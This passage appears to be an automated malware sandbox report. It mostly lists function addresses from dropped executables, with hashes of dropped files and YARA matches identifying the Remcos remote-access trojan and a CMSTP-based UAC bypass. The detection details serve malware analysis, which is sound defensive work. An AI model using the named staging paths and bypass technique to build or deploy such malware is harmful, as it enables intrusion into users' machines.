Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665912CF8 6_2_00007FF665912CF8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D8D2C 6_2_00007FF6658D8D2C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E2D18 6_2_00007FF6658E2D18
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665958C58 6_2_00007FF665958C58
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66591CCA8 6_2_00007FF66591CCA8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658FCC80 6_2_00007FF6658FCC80
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66598CC8C 6_2_00007FF66598CC8C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F8BD4 6_2_00007FF6658F8BD4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66588AC08 6_2_00007FF66588AC08
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658CCBFC 6_2_00007FF6658CCBFC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D0C28 6_2_00007FF6658D0C28
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A4B68 6_2_00007FF6658A4B68
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665936B94 6_2_00007FF665936B94
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590F6D8 6_2_00007FF66590F6D8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595D6DC 6_2_00007FF66595D6DC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C5648 6_2_00007FF6658C5648
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665955660 6_2_00007FF665955660
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665963638 6_2_00007FF665963638
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658AD660 6_2_00007FF6658AD660
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66593D6A0 6_2_00007FF66593D6A0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665937678 6_2_00007FF665937678
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D76B0 6_2_00007FF6658D76B0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665967678 6_2_00007FF665967678
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E55F0 6_2_00007FF6658E55F0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66588F610 6_2_00007FF66588F610
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659095FC 6_2_00007FF6659095FC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B156C 6_2_00007FF6658B156C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658BB58C 6_2_00007FF6658BB58C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665959580 6_2_00007FF665959580
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D58CC 6_2_00007FF6658D58CC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66591D858 6_2_00007FF66591D858
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665953874 6_2_00007FF665953874
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66591184C 6_2_00007FF66591184C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E7890 6_2_00007FF6658E7890
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C17D4 6_2_00007FF6658C17D4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F77C8 6_2_00007FF6658F77C8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658ED7F0 6_2_00007FF6658ED7F0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665933820 6_2_00007FF665933820
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66589F800 6_2_00007FF66589F800
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A1830 6_2_00007FF6658A1830
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665903760 6_2_00007FF665903760
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D9790 6_2_00007FF6658D9790
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66589B788 6_2_00007FF66589B788
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E92C4 6_2_00007FF6658E92C4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66588F2C0 6_2_00007FF66588F2C0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658DD2C0 6_2_00007FF6658DD2C0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F92D8 6_2_00007FF6658F92D8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665915318 6_2_00007FF665915318
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595D2B4 6_2_00007FF66595D2B4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665935290 6_2_00007FF665935290
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D11C8 6_2_00007FF6658D11C8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66589D1B8 6_2_00007FF66589D1B8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D31E0 6_2_00007FF6658D31E0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590F168 6_2_00007FF66590F168
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659514F0 6_2_00007FF6659514F0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658FF520 6_2_00007FF6658FF520
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66592D460 6_2_00007FF66592D460
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665885438 6_2_00007FF665885438
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658CD440 6_2_00007FF6658CD440
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659794A8 6_2_00007FF6659794A8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E7478 6_2_00007FF6658E7478
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A54A0 6_2_00007FF6658A54A0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665939494 6_2_00007FF665939494
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659833D4 6_2_00007FF6659833D4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659733D0 6_2_00007FF6659733D0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658FD410 6_2_00007FF6658FD410
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658873F8 6_2_00007FF6658873F8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658CF434 6_2_00007FF6658CF434
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B7340 6_2_00007FF6658B7340
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658AB36C 6_2_00007FF6658AB36C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66596B3AC 6_2_00007FF66596B3AC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D1ED0 6_2_00007FF6658D1ED0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665909EE4 6_2_00007FF665909EE4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665915F04 6_2_00007FF665915F04
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590BE70 6_2_00007FF66590BE70
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590DEB0 6_2_00007FF66590DEB0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658DDEA4 6_2_00007FF6658DDEA4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665891DE8 6_2_00007FF665891DE8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665911E2C 6_2_00007FF665911E2C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B5DF7 6_2_00007FF6658B5DF7
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665937D70 6_2_00007FF665937D70
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E1D70 6_2_00007FF6658E1D70
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D9D6C 6_2_00007FF6658D9D6C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66591BDA0 6_2_00007FF66591BDA0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66598DD84 6_2_00007FF66598DD84
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658EC0B8 6_2_00007FF6658EC0B8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B8080 6_2_00007FF6658B8080
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665952084 6_2_00007FF665952084
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665939FF8 6_2_00007FF665939FF8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E8018 6_2_00007FF6658E8018
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665881F80 6_2_00007FF665881F80
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E7AC8 6_2_00007FF6658E7AC8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594BB28 6_2_00007FF66594BB28
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665939A58 6_2_00007FF665939A58
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658FBA48 6_2_00007FF6658FBA48
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B3A40 6_2_00007FF6658B3A40
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D1A60 6_2_00007FF6658D1A60
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665897AB4 6_2_00007FF665897AB4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658AF9B8 6_2_00007FF6658AF9B8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665881A10 6_2_00007FF665881A10
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665977938 6_2_00007FF665977938
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66597994C 6_2_00007FF66597994C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659019AC 6_2_00007FF6659019AC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590F990 6_2_00007FF66590F990
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B9CD0 6_2_00007FF6658B9CD0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665949CC0 6_2_00007FF665949CC0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658DBCE8 6_2_00007FF6658DBCE8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665895D08 6_2_00007FF665895D08
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658BDD20 6_2_00007FF6658BDD20
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D3C60 6_2_00007FF6658D3C60
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665901C90 6_2_00007FF665901C90
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66598FC90 6_2_00007FF66598FC90
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66589BCA4 6_2_00007FF66589BCA4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A9BC8 6_2_00007FF6658A9BC8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658EDBF0 6_2_00007FF6658EDBF0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658DFC34 6_2_00007FF6658DFC34
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658BFC20 6_2_00007FF6658BFC20
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665933C10 6_2_00007FF665933C10
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665917B74 6_2_00007FF665917B74
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66592FB50 6_2_00007FF66592FB50
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F1B84 6_2_00007FF6658F1B84
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66588FB84 6_2_00007FF66588FB84
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665885BA4 6_2_00007FF665885BA4
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_028320C4 9_2_028320C4
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152CE558 9_2_152CE558
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152C74E6 9_2_152C74E6
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152C6FEA 9_2_152C6FEA
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152C5E5E 9_2_152C5E5E
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152CDE9D 9_2_152CDE9D
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152C3946 9_2_152C3946
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152D61F0 9_2_152D61F0
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152C78FE 9_2_152C78FE
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152CE0CC 9_2_152CE0CC
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152E332B 9_2_152E332B
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152CE2FB 9_2_152CE2FB
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152B6E0E 9_2_152B6E0E
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152B7BAF 9_2_152B7BAF
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152B739D 9_2_152B739D
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152B7A46 9_2_152B7A46
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152ADB62 9_2_152ADB62
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F85554 10_2_00007FF683F85554
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F78DF8 10_2_00007FF683F78DF8
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F7AA54 10_2_00007FF683F7AA54
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F837D8 10_2_00007FF683F837D8
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F73410 10_2_00007FF683F73410
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F87854 10_2_00007FF683F87854
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683FA1538 10_2_00007FF683FA1538
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F9D9D0 10_2_00007FF683F9D9D0
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F781D4 10_2_00007FF683F781D4
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F7CE10 10_2_00007FF683F7CE10
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F84224 10_2_00007FF683F84224
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F72220 10_2_00007FF683F72220
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F9AA30 10_2_00007FF683F9AA30
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F74A30 10_2_00007FF683F74A30
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F75240 10_2_00007FF683F75240
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F77650 10_2_00007FF683F77650
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F7D250 10_2_00007FF683F7D250
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F79E50 10_2_00007FF683F79E50
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F80A6C 10_2_00007FF683F80A6C
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F7E680 10_2_00007FF683F7E680
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F9EE88 10_2_00007FF683F9EE88
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F76EE4 10_2_00007FF683F76EE4
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F97F00 10_2_00007FF683F97F00
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F7372C 10_2_00007FF683F7372C
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F79B50 10_2_00007FF683F79B50
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F75B70 10_2_00007FF683F75B70
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F73F90 10_2_00007FF683F73F90
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F9AFBC 10_2_00007FF683F9AFBC
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F76BE0 10_2_00007FF683F76BE0
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F72C48 10_2_00007FF683F72C48
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F9AC4C 10_2_00007FF683F9AC4C
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F71884 10_2_00007FF683F71884
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F818D4 10_2_00007FF683F818D4
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F7B0D8 10_2_00007FF683F7B0D8
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F78510 10_2_00007FF683F78510
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F77D30 10_2_00007FF683F77D30
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F85554 11_2_00007FF683F85554
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F78DF8 11_2_00007FF683F78DF8
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F7AA54 11_2_00007FF683F7AA54
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F837D8 11_2_00007FF683F837D8
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F73410 11_2_00007FF683F73410
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F87854 11_2_00007FF683F87854
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683FA1538 11_2_00007FF683FA1538
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F9D9D0 11_2_00007FF683F9D9D0
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F781D4 11_2_00007FF683F781D4
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F7CE10 11_2_00007FF683F7CE10
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F84224 11_2_00007FF683F84224
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F72220 11_2_00007FF683F72220
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F9AA30 11_2_00007FF683F9AA30
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F74A30 11_2_00007FF683F74A30
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F75240 11_2_00007FF683F75240
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F77650 11_2_00007FF683F77650
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F7D250 11_2_00007FF683F7D250
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F79E50 11_2_00007FF683F79E50
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F80A6C 11_2_00007FF683F80A6C
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F7E680 11_2_00007FF683F7E680
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F9EE88 11_2_00007FF683F9EE88
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F76EE4 11_2_00007FF683F76EE4
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F97F00 11_2_00007FF683F97F00
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F7372C 11_2_00007FF683F7372C
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F79B50 11_2_00007FF683F79B50
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F75B70 11_2_00007FF683F75B70
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F73F90 11_2_00007FF683F73F90
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F9AFBC 11_2_00007FF683F9AFBC
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F76BE0 11_2_00007FF683F76BE0
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F72C48 11_2_00007FF683F72C48
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F9AC4C 11_2_00007FF683F9AC4C
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F71884 11_2_00007FF683F71884
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F818D4 11_2_00007FF683F818D4
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F7B0D8 11_2_00007FF683F7B0D8
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F78510 11_2_00007FF683F78510
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F77D30 11_2_00007FF683F77D30
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_145874E6 24_2_145874E6
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1458E558 24_2_1458E558
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_145886E8 24_2_145886E8
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14588770 24_2_14588770
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1458E0CC 24_2_1458E0CC
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1456F0FA 24_2_1456F0FA
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_145A4159 24_2_145A4159
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14588168 24_2_14588168
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_145961F0 24_2_145961F0
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1458E2FB 24_2_1458E2FB
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_145A332B 24_2_145A332B
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1457739D 24_2_1457739D
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14587D33 24_2_14587D33
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14585E5E 24_2_14585E5E
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14576E0E 24_2_14576E0E
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1458DE9D 24_2_1458DE9D
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14563FCA 24_2_14563FCA
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14586FEA 24_2_14586FEA
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_145878FE 24_2_145878FE
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14583946 24_2_14583946
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1459D9C9 24_2_1459D9C9
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14577A46 24_2_14577A46
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1456DB62 24_2_1456DB62
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14577BAF 24_2_14577BAF
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_02A520C4 24_2_02A520C4
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\Public\Libraries\easinvoker.exe 30951DB8BFC21640645AA9144CFEAA294BB7C6980EF236D28552B6F4F3F92A96
Source: Joe Sandbox View Dropped File: C:\Users\Public\Libraries\netutils.dll 0007FA57DA2E1DE2E487492D00B99ABAECA7E9F9CAC8A10E24EB569E19F76EE1
Found potential string decryption / allocating functions
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: String function: 02834824 appears 629 times
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: String function: 02834698 appears 156 times
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: String function: 02836658 appears 32 times
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: String function: 152C4E10 appears 54 times
Source: C:\Users\Public\alpha.exe Code function: String function: 00007FF683F8498C appears 40 times
Source: C:\Users\Public\alpha.exe Code function: String function: 00007FF683F8081C appears 36 times
Source: C:\Users\Public\alpha.exe Code function: String function: 00007FF683F83448 appears 72 times
Source: C:\Users\Public\kn.exe Code function: String function: 00007FF665947BAC appears 34 times
Source: C:\Users\Public\kn.exe Code function: String function: 00007FF66588D1C8 appears 41 times
Source: C:\Users\Public\kn.exe Code function: String function: 00007FF665947D70 appears 35 times
Source: C:\Users\Public\kn.exe Code function: String function: 00007FF6659964A6 appears 173 times
Source: C:\Users\Public\kn.exe Code function: String function: 00007FF66598F1B8 appears 183 times
Source: C:\Users\Public\kn.exe Code function: String function: 00007FF66598F11C appears 37 times
Source: C:\Users\Public\kn.exe Code function: String function: 00007FF6658BBC9C appears 280 times
Source: C:\Users\Public\kn.exe Code function: String function: 00007FF665940D10 appears 181 times
Source: C:\Users\Public\kn.exe Code function: String function: 00007FF66593ABFC appears 818 times
Source: C:\Users\Public\kn.exe Code function: String function: 00007FF66591EB98 appears 93 times
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: String function: 14551E65 appears 34 times
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: String function: 02A544A0 appears 67 times
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: String function: 14552093 appears 50 times
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: String function: 02A54698 appears 247 times
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: String function: 02A56658 appears 32 times
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: String function: 14584E10 appears 54 times
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: String function: 02A54824 appears 883 times
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: String function: 14584770 appears 41 times
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: String function: 02A67BE8 appears 45 times
PE file contains more sections than normal
Source: netutils.dll.9.dr Static PE information: Number of sections : 19 > 10
Yara signature match
Source: 24.2.Mywiztwu.PIF.14550000.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 24.2.Mywiztwu.PIF.14550000.5.raw.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 24.2.Mywiztwu.PIF.14550000.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 24.2.Mywiztwu.PIF.14550000.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 24.2.Mywiztwu.PIF.14550000.5.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 24.2.Mywiztwu.PIF.14550000.5.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
